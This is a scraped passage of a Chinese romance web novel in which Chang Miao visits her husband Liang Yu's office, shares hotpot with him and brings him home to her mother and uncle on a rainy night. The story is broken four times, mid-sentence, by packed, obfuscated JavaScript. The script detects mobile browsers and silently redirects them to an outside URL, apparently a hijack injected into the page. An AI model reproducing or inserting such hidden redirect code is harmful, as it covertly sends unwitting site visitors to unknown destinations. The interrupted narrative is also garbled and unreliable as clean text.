;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232897|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁嵛，说实话，如果不是当初的意外，她认为自己恐怕一辈子也不会和这样的人有什么牵扯的，当初这段关系开始时，她几乎只当一场交易，没想过两人会怎么样，但梁嵛太奇怪了，奇怪到常妙不由自主地就要把目光往他身上放一放。 他有自己的处事原则，一样一样的做着他认为婚姻里应该做的事，只因为有人跟他说结婚是一个人这辈子必须要做的事。 这太傻了，是吧？ 但无疑，他这个人是让人安心的，而常妙现在需要这份安心。 秦羽鹭还等着答案，常妙感受着脸颊的温度，终于道：“是，我是有点喜欢他。” 秦羽鹭：“嚯！小姑娘，不愧是你，坦白得如此爽快！不过你怎么突然就动心了，之前不还挺平淡的吗？” 常妙：“我也不知道，就是感觉他这个人很好，过日子不错。” 秦羽鹭笑，“那也成，起码你这十年婚姻不会有什么离谱的糟心事，算是日久生情吧。” 常妙：“可是，我不知道他对我有没有意思。” 秦羽鹭心想肯定是有意思的，但好友有疑虑，那她就出个主意。 “那你试试他呗，找个机会，亲他一下？看他是什么反应，一定要看眼睛！如果没什么反应，或者后退了的话，那估计就是不喜欢，可他都跟你结婚了，对象是他自己选的，总不能选个一点好感都没有的人吧，所以多半是他不行！有空带他去医院看看。” “……” 那要是这样，她好像已经可以带他去了…… 常妙略过脑海里那个残忍的答案，“如果有反应呢？” 秦羽鹭：“有反应，甚至还主动亲你的话，那就代表对你有感觉啊！不过还有一个可能是男人的劣性……你谨慎区别。” 常妙点点头，又顿住，“这样会不会太快了？” 秦羽鹭：“这还快？有什么能比你俩结婚快？” 常妙：“说的也是……” 秦羽鹭手机震动了下，秦羽鹭看了眼就笑着接起来，两人挨得近，常妙能听见电话里陆宗序模糊的声音。 常妙不禁看向秦羽鹭，她笑得很开心，眼底有掩不住的甜蜜，发现她的视线后，秦羽鹭朝她做了个鬼脸，然后随意应了几声，挂掉了电话。 常妙：“你们明天什么时候走？” 陆宗序是个极限运动爱好者，这也是秦羽鹭跟他在一起了常妙才知道，前段时间一直忙，他们两个计划趁着毕业典礼前的这段空档时间一块去南边的一个城市跳伞，要三四天才回来，常妙这是赶在他们出发前一天才和秦羽鹭见了个面。 秦羽鹭：“明天早上十点的飞机，我俩一会儿再去吃个饭。你要不要一起？意大利菜，还挺好吃的。” 常妙立马摆手，“我不去，坐你俩中间当电灯泡啊，我回家吃。” 这个“家”是哪两人心知肚明，秦羽鹭笑了下，临走前没忘记提醒她，“那个！记得找时间试试啊。” - 下午五点，常妙从奶茶店出来，给梁嵛发了个信息。 常妙：【晚上吃什么呀，冰箱里的菜没了，要不我去楼下超市买一点顶一顶？】 明天周末，梁嵛如果不忙的话是会去早市的，就差这一顿，常妙打算少买点够一顿饭的就行。 而且梁嵛教过她怎么挑新鲜蔬菜，大体没什么问题。 梁嵛：【不用了，今天在外面吃吧，我发工资了。】 常妙诧异了下，想了想，她回：【行，我现在在外面，要不我去找你？】 梁嵛：【好，路上慢点，注意安全。】 32. 第 32 章 这次过来，常妙已经是轻车熟路了，到陆合科技楼下的时候五点半，梁嵛要六点才下班。 这边好像都是公司，整体环境规划很好，街道上因为没到下班点，人不多，常妙站在一顶室外伞下，拿出手机。 常妙：【我到啦，在楼下等你吧，出来的时候记得拿把伞，感觉又要下雨……】 梁嵛收到信息，看了眼窗外，回复：【上来吧，还有半个小时，你坐着等。】 常妙一愣：【可以吗？】 梁嵛：【可以。】 梁嵛：【我们公司没有这方面的强制规定，偶尔家属上来等个人没关系，还有家里孩子放学暂时没人照顾的，带过来只要不打扰其他人正常工作，没关系。】 既然没关系，常妙抓抓头发，那她就进去了。 梁嵛所在的那个部门是十五层，常妙按完楼层键就站到了一角，到三层的时候上来了一个穿着格子衫的男生，年龄看着不大，戴着黑框眼镜，皮肤挺白，胸前是陆合科技实习生的工牌，看见常妙在里面的时候愣了下，但很快就转过身站好。 他手在空中抬了一下又收回去，貌似跟常妙要去的楼层一样。 常妙默默又把自己往角落里塞了塞。 电梯门打开，她跟着男生一块出去，这回男生才真正敢把眼睛往她身上多放了两秒。 他走了两步，又扭过头，“那个，你好，你不是我们公司的吧？” 常妙礼貌地对他笑了下，脸颊圆润地鼓起，“不是。” 男生看她乖乖的模样，不好意思也笑，“那你是……？” “我是来找人的。” 常妙怕他误会，立刻解释。 “哦。”男生表示了解，“找谁啊，需要我帮忙吗？” 常妙想了想，点头，她没有白天来过这，那晚看工位数量，人应该不少，她就这么突然进去还挺扎眼的，有个人带一带能好点。 “那麻烦你了，我找梁嵛。” “谁？”男生突然一怔。 “梁嵛。” 常妙重复，心想，要是不知道的话，她还是自己去吧。 但男生只是表情怪异地应了声，然后就领着她往里走了。 办公室里果然如常妙所料，工位都坐着人，好在大多数都在看电脑，没几个注意到门口进了个陌生人。 刚开始，男生走在她前面，没多会儿，又慢下步子跟她并排。 他比常妙高，头低下来说话，语气莫名比刚才多了些鬼鬼祟祟。 “能问一句吗，你是梁哥的妹妹？” 常妙睁了睁眼，正欲说明，余光突然发现前面有个熟悉的身影。 男生还偏着头等常妙解释，没注意前头，就听头顶传来一句字正腔圆的“是我老婆”之后，嘎嘣撞了上去。 梁嵛伸手一扶，不至于让他栽倒地上去，但男生再抬头，人就懵了。 男生名叫张延，今年校招刚进来不久的实习生，平时的工作都是另一个老员工老刘在带，只是因为当时进公司的时候没座位了才暂时坐到了梁嵛的前桌。 陆合科技是他梦想已久的大公司，能进来实习他高兴得不行，可是梁嵛就是他美梦里的一片冰川，一只猎鹰！ 谁能懂啊，一个教导主任般的人物不苟言笑地天天搁你后边坐着，忙起来还好，不忙的时候他连喝水都是紧张的，而且他听说他还是他们部门隐藏的大佬，未来很有可能成为陆合科技最年轻的架构工程师。 buff一叠加，厉害是真的，尊敬是真的，对尔等实习生的威慑力也是真的…… 但是他刚说什么？老婆？听错了？他真的有老婆吗？他会谈恋爱吗! 不，不不，现在重要的好像是他撞到人了…… 张延回过神来，立刻站起军姿，“对不起对不起，梁哥我没看到。” 常妙看了看梁嵛，眼睛轻眨，过了会儿，看向张延，这熟悉的姿势让她有些怀念，不过，至于这么战战兢兢吗，梁嵛应该不是领导吧？ 梁嵛神色平静，客气地摆了下手，他是来接常妙的，但晚了一步，让这个实习生抢先了。 他望向常妙，“妙妙。” 常妙会意，越过张延走到梁嵛身边，顺带跟张延道了个谢，“谢谢啊。” “哦，没、没事。” 张延还有点呆。 然而这一点小插曲却像是小石子扔进了池塘，波澜一圈又一圈的往外荡，走过转弯处，一直到梁嵛的工位前，常妙能感觉到方圆那一片的人都在用或震惊或好奇地眼神往她身上瞧。 刚停下，梁嵛给她示意了座位，斜前方的一个人就站起来试探地问：“老梁，这妹妹是谁啊？” 常妙气质乖巧，尤其最近没事给自己剪了个空气刘海，柔顺地垂在眼睛上方，看起来确实显小。 梁嵛抬起头，表情有些欲言又止地看向那位同事，最后无奈呼出一口气，才说：“介绍一下，我老婆，常妙。” 话音落下，世界足足安静了五秒钟。 然后办公室就炸锅了！ 周围几个不论有事的没事的彻底不做样子了，全都往梁嵛这边看过来， “啥玩意？老梁，你什么时候结婚的？？？？” “姑娘你多大了啊，成年了吗，老梁你可不能为结婚昏了头啊！” “结婚？谁结婚？婚结谁？” “梁嵛，看不出来平时不吭不哼的，闷声干大事啊。” “不过没听说你谈恋爱啊，姑娘，你俩谈了多久啊？” “妹子，偷偷告诉我，和他在一起你真的快乐吗！” 众人的目标渐渐从梁嵛的身上转移到了常妙这，她尽可能礼貌地应对这些同事们的话，但常妙还是有点被吓住了，毕竟在她心里，搞研发的公司应该整体是一个挺严肃的氛围，偶尔有点说说笑笑也是那种很正常的，现在有点太夸张了，声音隔着玻璃都引来另一区的人看过来。 正常情况下，现实也的确是常妙想的那样，梁嵛平时在公司话不多，除了工作基本不大主动参与其他同事的“生活”交流，而现在能造成这场面，很大一部分原因是因为这事太令人震惊了，毕竟在他们眼里，梁嵛几乎就是一个工作上的天才，感情上的废物，或者也不能这么说，就是很难想象有一天他会跟谁谈恋爱结婚。 “挺、挺快乐的呀。” “啊，他在家跟在公司也差不多。” “我成年了的！” 常妙一边回答一边往梁嵛身边偷偷靠了些，梁嵛刚才忍不住也在听她说话，直到感觉到常妙在底下偷摸摸拽了下他食指，他才反应过来把人往身后拉了下。 “好了，都回去工作吧，你们吓到她了。” 场面又是一刻安静。 不知道是谁在人群中“呦~”了一声。 明显的调侃。 常妙真的有点顶不住了，在羽鹭那她都没这么不好意思。 就在这时，里间的办公室里出来个中年大叔，看着这边围成一片的人喊了句，“干嘛呢都，还没下班呢。” 他这一叫，众人先抬起一张张坏事的脸，然后迅速一哄而散。 梁嵛这边没人了，陈建生正准备回去，但一打眼又转回来，这怎么还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245938|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有个姑娘呢？ 员工偶尔会因为某种情况会带朋友或家人来这边小呆一会儿他是知道的，陆合科技每层都有个专门的休息区，所以他一般也不管，不影响正常工作就行，但这姑娘不该和梁嵛站一块吧。 他眯了下眼，背着手走过去，常妙一扭头就跟他撞了个正着，心知这大概就是梁嵛的上司，常妙有些紧张，忙礼貌地给他问了声好。 陈建生：“你好……”然后用不解的眼神看向梁嵛，“这是？” “我妻子，在这坐一会儿，等我下班。” 这是梁嵛今天第三次说这句话了，明显越说越顺畅，甚至嘴角不知觉地也微微勾起。 陈建生：“？” 陈建生年纪大了，有时候耳朵是有不好的时候，他抬手在自己耳垂上捏了一把，又挤着一张老脸抬起，很想不通地在梁嵛和常妙身上左看右看。 “你啥时候结婚的？”他甚至开始怀疑是不是自己的记忆力开始出现了问题。 可是再出问题也不能是这样吧！ 梁嵛有时候也很无语，明明结婚的事他跟陆宗序说过，陈建生之前还主动问了戒指，怎么到头来没一个人知道他结婚的？ 梁嵛少有的不想回话。 常妙忍不住，替他答：“三月底，不过我们光领了证，没办婚礼。” 陈建生这会儿也才堪堪想起来，梁嵛三月底的时候是请了次假，从那以后下班也比以前准时了点。 并且有一回开完会，他还看见他带戒指了，铁打的证据，他愣是没当真！ 陈建生：“……” 但，这也不能怪他嘛。 作为领导，陈建生极有容人雅量，他提起一个慈祥的笑，拍拍梁嵛肩膀，给家属常妙热情表达了一番上司的爱才之心。 “小常是吧，哈哈！小梁在我们这干的很好的，工作认真负责，团结友爱同事，未来可期，未来可期呀！” - 本来离下班就只有半小时，这么闹了一通，加上陈建生在旁边又慰问关心了一番下属的生活，梁嵛和常妙六点十五分才收拾着从办公室离开。 一块出来的还有张延，一边往外走，一边打着电话不知道跟谁为迟到道着歉。 陆合科技没有什么隐藏加班的潜规则，不会说你没事干还非要把你留下再待一会儿，准点走就行了，但张延只是一个弱小可怜的实习生，刚刚进陆合不久，部门的顶头上司就在后头扒着人家聊天不动，试问他敢走吗？ 当然不敢啊！ 不敢的后果就只能是迎接女朋友的爱的暴击。 他这人从小就有点怕那种严肃气质的人，不敢和梁嵛走一起，出门的时候特地从厕所绕了一圈才去坐电梯，可恨今天的电梯实在是太慢了！梁嵛和他老婆还在电梯间等着。 常妙看见他友好地打了声招呼，但张延心里悲哀极了，笑容惨淡地跟两人站在了一起。 还是梁嵛边上。 突然。 梁嵛：“不是跟女朋友去吃饭庆祝？这么晚出来。” 张延：“……” 您说呢。 提起这个，张延更萎了，今天他运气实在不好，撞上梁大佬三回，中午吃饭一回，下午一回，电梯又是一回。 中午那次可能更难过吧，他好像跟同事说话声音太大吵到他了，明晃晃收到了一个冰冷的眼神。 张延：“工作没做完晚了点哈哈，梁哥你们是回家还是？” “哦，我们也去吃饭。” 梁嵛神色十分平静，他抬了下手机，像是说一件很平常的事情，“发薪日么。” 33. 第 33 章 张延电梯下到一楼人就走了，常妙和梁嵛多下了一层，出电梯时，梁嵛伸手，她自然地搭上去，总觉得他今天心情好像不错。 因为发工资了吗？ 常妙觉得很有可能。 坐进车里，鼻腔里还是熟悉的那种柑橘的清香味，常妙忍不住轻嗅了下，然后系上安全带问：“咱们晚上去哪吃啊？” 去外面吃是梁嵛提出来的，所以常妙默认梁嵛已经有了想法，但没想到，这话一出，梁嵛有些呆滞地顿了顿，转头看她，“我没想好，你有什么想吃的吗？” 常妙：“……火锅？” 遇事不决就火锅！ 梁嵛：“可以，我知道一家味道还不错的，带你试试？” 常妙：“好啊。” 两人愉快拍板。 - 梁嵛说的这家店在南区，离陆合科技不远，通常不是高峰期的话二十分钟就到，今天不慎踩着点了，多花了十来分钟。 梁嵛把车停好，带她进去。 老板一家是正经的川渝人，一进门，常妙就听见一句夹杂着当地口音的“欢迎光临”，店里这时人已经很多了，空气中飘荡着满满的辣子香，梁嵛他们还算来的巧，刚有一桌客人离开。 等店员把桌子收拾好，两人面对面坐下。 梁嵛：“会觉得吵吗？” 两人出来吃饭的次数屈指可数，而且常妙之前家境不错，平时又在学校多，梁嵛怕她不适应还是想问一下。 常妙兴奋地打量周围，“不会啊，通常这种店味道才更好吧，我跟羽鹭以前也会吃。” 梁嵛笑了下，把菜单给她，“你点吧。” 常妙不跟他客气，勾了两个这家店的招牌，又勾了几个火锅必吃的项目，红薯粉、鸭血什么的，感觉两个人差不多够了，把菜单还了回去。 梁嵛一扫，“这家冰粉挺好吃的，你要吗？” 常妙：“我吃不完。” 梁嵛：“没事，可以给我。” 常妙看着他，过了会儿，点头笑，“好。” - 不过这碗冰粉到最后也没有给梁嵛。 火锅真的太辣了，他们只要了微辣，但是锅底越煮越辣，一大碗冰粉被她嘶哈嘶哈着全解决了。 但又真的很香！ 常妙在出店门前还回味着，直到看见外面的雨…… 梁嵛：“今年的雨水确实比往年的多，上个月下雨，二环有条街的路面都塌了。” 常妙没注意新闻，“这么夸张？！” 梁嵛点头，但长眉不禁蹙了下，他的伞在车里没带出来，“抱歉，雨天还让你出来吃饭。” 常妙抬头瞧他，“没事，反正我身体好嘛~淋点雨不算什么！” 梁嵛：“……” 常妙见他一下噎住，哈哈笑了起来。 但常妙还是给梁嵛留面子的，门口站了许多客人，有带伞的，也有没带伞的，没带伞的也不会在这逗留太久，这雨看起来是不会停的，趁着还没下大的时候直接往外冲，早早回去才是正经。 常妙蠢蠢欲动，看了眼身后的梁嵛，把他拉着离自己近点，指挥道：“一会儿咱们就直接冲进你车里！你及时开锁啊！” 梁嵛：“好。” 两人做好预备姿势，一个跟一个，撒丫子就窜了出去！ 梁嵛腿长，跑了两步就掠过了常妙，一怔后，向后方伸出手。 常妙被雨滴打的有点睁不开眼睛，一只手撑在额头上，望见梁嵛慢下来的动作，唇角狡黠一提，另只胳膊笔直指向黑车的方向，“冲啊！！！谁最后到谁是小狗！” 说完迈着两条小短腿，毫不留情地从梁嵛身边跑了过去。 梁嵛行着注目礼，一直到两人间隔了五六米才反应过来，他忙跟上去，雨水在他的眼底漾起轻快的涟漪。 第一个摸到门把手的是常妙，她矮身钻进去，过了一会儿，梁嵛也坐到了驾驶位上，常妙的空气刘海已经不空气了，只有几根毛炸着仍表示坚毅不屈，她咧着八颗牙的愉悦笑容，眉眼弯弯，宣告比赛结果。 “你输啦，小狗！” 梁嵛望她，也笑，“你确实跑的很快。” 常妙骄傲晃着脑袋。 车里备着毛巾，两人大概把身上的水渍擦干后，梁嵛启车准备回家。 雨水洋洋洒洒地打在车窗上，常妙笑意不减地看着窗外景色，也看着偶尔映在车窗上的人影。 车于雨夜穿行，但因为前路伴着光，也未有什么可怕的。 突然，常妙目光一怔，朝身后的街道看去。 梁嵛询问：“怎么了？” 常妙犹豫，“我好像看见我妈妈了。” 刚才只是一扫而过，常妙也不能确定，钢琴课她记得是安排在周末的，不过上课的那户人家地址好像确实在这附近。 到底不放心，她翻出手机，“我打个电话问问啊。” 梁嵛：“好。” 电话响了不久，对面接起来，车内的安静对比电话里的，明显能听到那边的嘈杂声，像在街上。 “喂，妈妈，你是不是在外面啊？” 方沉兰一愣，她头顶的遮阳棚并不宽敞，侧面还破了个豁口，一小注水流砸向地面溅起夸张的水花，她往里缩了缩，避免湿了裤子。 “是在外面，不过没事，这周学生那边课表临时换了下，我刚上完课，这就回去了。” 常妙追问：“你是不是现在正站在一家面馆门口？” 方沉兰往后一看，还真是，“你是在附近吗？” 常妙抬眼看向梁嵛，梁嵛会意，冲她点了下头，她这才对方沉兰说：“妈妈，你就在那别走，等一会儿，我过去接你。” 挂掉电话，常妙感激道：“麻烦你了，我妈妈没带伞，可能还要把她送回家。” 梁嵛：“没事，阿姨她刚才是在……” 常妙：“刚才过来的那条路，有个面馆！” - 车头在前方路口掉头，下着雨，常妙因为担心方沉兰，一时半会儿的也没意识到可能即将要面对什么事情，梁嵛没见她过妈妈，只能是听她指令，在哪停下。 看到蓝色的招牌，常妙出声，“就是这！” 方沉兰还站在原地，她穿着一件灰绿色的缎面衬衫，底下是同色系的一条浅色宽腿裤，及肩的头发微卷，披在脑后，看起来是很一位很温柔的妇人。 常妙等车停稳就想开门，梁嵛拉住她，把伞塞她手里，“打上伞。” 常妙道了声谢，然后下车，透过车窗，梁嵛看向跑过去汇合的母女，握在方向盘上的手紧了紧。 “妈妈！” 方沉兰辨认着从一辆黑车上下来的女孩，听见声音才确定了。 藏青色的雨伞很大，打在头顶后，身上没再有那种零星飘落的雨点子，方沉兰看了看车，又看了看常妙，疑惑很明显，但这显然不是说话的地方，常妙挽住她的胳膊，迎着风向把伞压低，“先上车吧，我们把你送回去。” 方沉兰应了声，暂且压下疑问，直到坐进后座，她才知道女儿刚才说的“我们”是什么意思。 主驾的位置上坐了个陌生的男人，脸长得倒是斯斯文文的，就是感觉年纪稍大了点， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266526|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣着打扮偏成熟，应该跟常妙不是一个年纪的，像是……老师？挺有那气质的。 梁嵛对她礼貌地打了声招呼，方沉兰也礼貌地跟他打了声招呼。 安静片刻，梁嵛指了下后座收放毛巾的位置，“阿姨，那里有毛巾，您可以擦擦身上的水。” 方沉兰忙应：“唉唉，好，谢谢啊。” 两个人有点尴尬。 但好在，常妙很快也收伞坐了进来。 雨伞就放在脚下的位置，反正鞋子也湿了，再湿点也没什么。 抬起头的瞬间，常妙跟梁嵛飞快对视一眼，她抿了抿唇，一边系安全带，一边清嗓子跟方沉兰介绍：“妈妈，这是梁嵛。” “咱们家当时应急的那二十万就是他借给我的。” 方沉兰惊讶了瞬，转头再一瞧，脸上立马升起惊喜的神色来，“啊，原来是你啊！我就说呢，妙妙之前跟我提过你，你是她学长吧？” 梁嵛微顿，低声应下。 “嗯，算是。” 方沉兰看到梁嵛方才有些怔愣的表情，了然笑，也有些抱歉，“我知道你其实是把她当妹妹的，叫学长确实是生分了，怪阿姨用词不当。” 梁嵛目光浅浅落在常妙脸上一秒，她双手合十，在隐蔽处悄悄对他做着动作。 方沉兰：“你帮了我们家这么大忙我这做长辈的都没有好好谢过你，我一直想把你叫来我们家吃顿饭来着，但听妙妙说，你工作好像很忙，平时经常加班？” 梁嵛缓慢点了下头，说：“也不是很经常，我的工作是IC设计工程师，您可以简单理解为芯片设计，工作单位其实是双休，平时如果有项目会忙一点，但公司待遇不错。” 方家的公司以前并没有涉及到高新行业，但芯片一般人都会知道一些，现在国内科技发展迅速，能做这方面工作的一定都是人才，方沉兰自然而然称赞道：“是嘛，那你女朋友一定很为有你这样的男朋友感到高兴了。” 女、朋友？ 梁嵛神色一滞。 常妙自己也一愣，然后就感觉自己脑子炸开了…… 方沉兰一直对愿意借她钱的这位朋友很感兴趣，尤其在他们当时明知这二十万他们不可能拿得出来的时候，梁嵛的这个行为对他们一家来说无疑是非常大的恩情。 可是，真实情况并不只是这样。 她还和梁嵛领证了。 这件事放在那时候常妙是绝对不可能告诉方沉兰的，更别提让他们见面，但妈妈和舅舅也不愿意对这个“恩人”什么情况都不了解，也怕常妙是不是瞒着他们干了什么，所以常妙就只能给两人简单塑造了一个故事，然后告诉他们，这个人她是认识的。 这个故事大体跟现实差不多，只有小部分被她修改了。 比如梁嵛是她临校的学长，梁嵛的家里只有他一个人，梁嵛没什么朋友。 修改的则是，他俩因为某次联校活动机缘巧合认识，性格相投，久而久之梁嵛就把她当妹妹了…… 至于女朋友，也是方沉兰有次再提出要请梁嵛吃饭，常妙加班的理由说太多了，就编造了一个女朋友出来…… 这些东西都是零零碎碎的，也没想到方沉兰居然都记得，还当着梁嵛的面问了出来。 不过，他之前也同意了帮她隐瞒，那应该不会介意的，吧？ 常妙抬头，正好瞥到梁嵛嘴角轻扯起一个笑。 那笑保持的非常好，对于方沉兰可能就是一个长得有些严肃的晚辈对她尽可能展现友好的笑。 但于常妙，只能感受到这和下午的大不相同。 他好像，难过了。 34. 第 34 章 车子重新启动。 常妙报了地址后，车内就陷入了安静。 方沉兰坐在后面，常妙不敢有太明显的动作，只歪头将视线落在车窗上，想偷偷观察梁嵛的表情，但太黑了，她怎么瞧都看不见。 想了想，常妙点开手机，给梁嵛编辑了一条消息过去，看到梁嵛口袋里亮了下，她才转头将注意力放到了窗外。 今夜的雨下得厉害，城南还好，但一路向北，常妙发现雨量明显有增大，最直观的就是车窗，一道道细细的水痕已经变成了一条条水流，雨刷都有点来不及刮。 梁嵛的车速已经彻底降了下来，而刚才经过的一些街道，有的路面已经或轻或重地被淹了，常妙想起梁嵛今天说的那个路面塌陷，心里忍不住有些担心，“阿……梁嵛，这还能继续开吗？” 梁嵛扫了眼导航，离目的地已经不远，“放心，可以送你们回去。” 我们？ 他准备把她也放下？ 那他怎么办，这种天气，很难正常行驶吧。 常妙欲言又止。 但幸好，方沉兰这时扶着副驾的椅背靠过来也开口了。 “小梁，你送我们回去，那你呢？” 梁嵛不是那种会盲目视危险而不顾的人，他其实也并不打算再开下去，他计划的是把常妙和她妈妈送回家，然后自己在附近随便找个酒店住一晚，或者小旅馆也行，凑活把今天过去。 梁嵛：“我家不在这边，一会儿随便找个酒店住一晚，阿姨您不用担心。” 方沉兰想了想，断绝了他的这种期望，“可是我们这附近没有酒店。” “那种小旅馆……”方沉兰轻吸了口气，有点洁癖发作，忍不住劝说，“小梁，要不你跟我们一块回去吧？晚上这么大雨开车真的太危险了，阿姨怎么能不担心，你不介意的话，要不去我们家将就一晚？” 常妙眼睛一亮，非常赞同这个提议，“是啊，你去我们家住吧？可能地方是有点小，但总比外面干净。” 女儿都搭腔了，方沉兰就更坚定了，“对，小梁，你听阿姨的，当初你帮了我们家这么大忙，今天下着雨还送我回家，我们家都不知道怎么感谢你的。对了，明天不是周末吗，你休息吗？正好在我们家吃饭啊，我来下厨！” 常妙挑了下眉，对这项提议就有点存疑了，但是，“你就来吧，不然再这样跑，小心又发烧了。” 梁嵛：“……” 母女俩你一言我一语的，梁嵛没有不答应的份儿，只是把车开到楼底下，他嗡嗡的脑子里只有一句话。 常妙和她妈妈确实很像。 伞只有一把，常妙下车先把方沉兰送到楼梯口，再折回来接梁嵛，她抬着胳膊太累，梁嵛下意识想帮她拿，但手刚碰到杆子，就被常妙受惊地打了下去。 她很小声又抱歉地说：“我妈妈还在看着呢！” 梁嵛无法，只得由着她，他微微弯下腰，跟她一起在雨中快跑，因为步伐不一致，又要顾着对方别被雨淋到，两人不时就要撞到，最后磕磕绊绊地进了单元楼。 常妙家就在二楼，方沉兰看两人过来了，率先去开了门，方程南在家，听见声音也跑了过来。 常妙有朋友要来借住一晚的事情他知道了，家里现在简陋，拖鞋他刚才翻了半天幸好有一双多余的，现在都摆在了鞋架跟前，方便人一会儿换。 方程南：“姐，人呢？” 另外还有一点，梁嵛是当初借给他们家二十万的人，方程南也听说了，比起常妙和方沉兰，他自觉是对这个家最亏欠的人，这恩人上门，可得要招待好人家！ 方沉兰指了下身后，“刚停好车，正过来呢。” 方程南侧身让方沉兰先进，然后自己又钻出去看。 很快，他看见外甥女儿和一个身形清隽的男人一同顶着伞跑了进来，男人收了伞，在楼梯下抖了抖水，回头准备上楼梯时，两人猝不及防对上眼，方程南立刻笑呵呵地给他挥了挥手，热情道：“哈喽~” - 进了屋，常妙和梁嵛换鞋，方程南还在旁边咧着嘴看着他们，常妙见状脚下快速一蹬，穿上拖鞋给梁嵛介绍，“这是我舅舅，你也跟着叫舅舅吧。” “舅舅，这是我朋友，叫梁嵛。” 方程南是个和善的性子，名字都知道了，不等梁嵛先跟他问个好，他就忍不住上下打量了梁嵛一番，“哎呀，个子可真高啊，比我高一头呢，是吧妙妙？” 常妙：“是啊，一八六呢，比你整高十厘米。” “嚯哟！” 常妙听这一声夸张的“嚯哟”，本来还心情还有点闷闷的，这一下，嘴角就有点压不住，她知道舅舅方程南其实并不善于交际，现在这状态完全是当初外公不在以后硬磨出来的，但也只是一些表面的交流，多了他就不知道该说什么了。 而梁嵛，他是可以聊的人，但他讲话太直白了，又偏被动，一般人未必能承受，所以这俩人在一起，常妙都不敢看他俩一块聊天的场面。 今天是没这个机会了，都九点多快十点了，平时妈妈和舅舅这个点都收拾着准备睡觉了，但他们三个这会儿才回来，有被雨淋的，还有两个串味儿的，排队挨个洗完澡出来至少都得一个小时以后了。 方沉兰和常妙先去洗，方程南则帮着梁嵛收拾晚上睡觉的地方。 他房间里的那个是张单人床，两个人睡不下，但小客厅里的这个沙发，底下可以抽出来当成一个床来使用，就是客厅空间不大，完全伸展开最好还是要把饭桌挪走。 梁嵛知道方程南的腰不好，收桌子的时候没让他帮忙，他干活利索，方程南还想跟他拉扯几句，这年轻人已经把桌子搬起来了，他大惊，忙指挥着挪放位置。 这桌子不是能折叠的，厨房进不去，只能是放到鞋架旁边，跟沙发能隔个一脚左右的距离。 “这就行了，你坐下休息会儿吧，我给你去找身儿换洗衣服。” “谢谢舅舅。” 方程南摆手，“不用客气。” - 洗完澡出来，两侧的房门关着，梁嵛知道是常妙的妈妈和舅舅怕他出来不自在，但时间确实也很晚了，从窗户看出去对面的楼基本都黑了灯，他于是也不耽误，低头用最快的速度把头发吹干，然后简单收拾了下卫生间，关灯，上床。 睡意不足，梁嵛盯着天花板看了两秒，选择闭上眼睛，睡得着睡不着的，多闭一会儿也就睡着了。 外面的雨声不停，不知道下了多久，中间一度渐停，后面又下了起来，最后方程南的屋子里也传出来淡淡的鼾声。 梁嵛就这么静静听着。 突然，方沉兰卧室的方向缓缓响起了一阵小心翼翼扭门把手的声音。 梁嵛开始以为是方沉兰起夜，他装睡翻了个身，但除了那道扭门把手的声音外，他后面却再没听到开关门的声音。 这就有些奇怪了。 梁嵛睁开眼，往房门的方向看去，这一回头，要不是脑子反应的快，他可能真得吓一跳。 常妙彼时穿着一身白色的睡裙，正鬼鬼祟祟地在地上爬行，她头发长，因为低着头，导致后面的头发都落到了前面来，餐桌的位置正好卡在卧室到小客厅的这段走廊里，正常走的话，需要侧着身才能过来。 但她，思路清奇，选择了从桌子底下爬过来…… 常妙心里也不想的，桌子上都放的杂物，她万一不小心碰倒一个发出声音怎么办。 “妙妙？” 突然听见有人叫她，常妙一个抬头，脑袋直接撞桌子上了，砰的一声。 “哎哟！” 常妙轻呼，然后惊慌捂住嘴保持安静，没听见里屋的两人有什么动静，她这才放下心又往前爬了爬。 梁嵛坐起来，按着她头摸了摸，其实刚才那下不重，但常妙皮肤薄，免不了要红一阵。 “你怎么出来了？”他压低声音问，这会儿少说也都十二点多了。 常妙蹲在地上，借着外面微弱的光瞧他，“我来看看你睡了没。” 梁嵛不解，撩开被子先给常妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281237|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腾了个位置，“别窝着，先坐上来吧。” 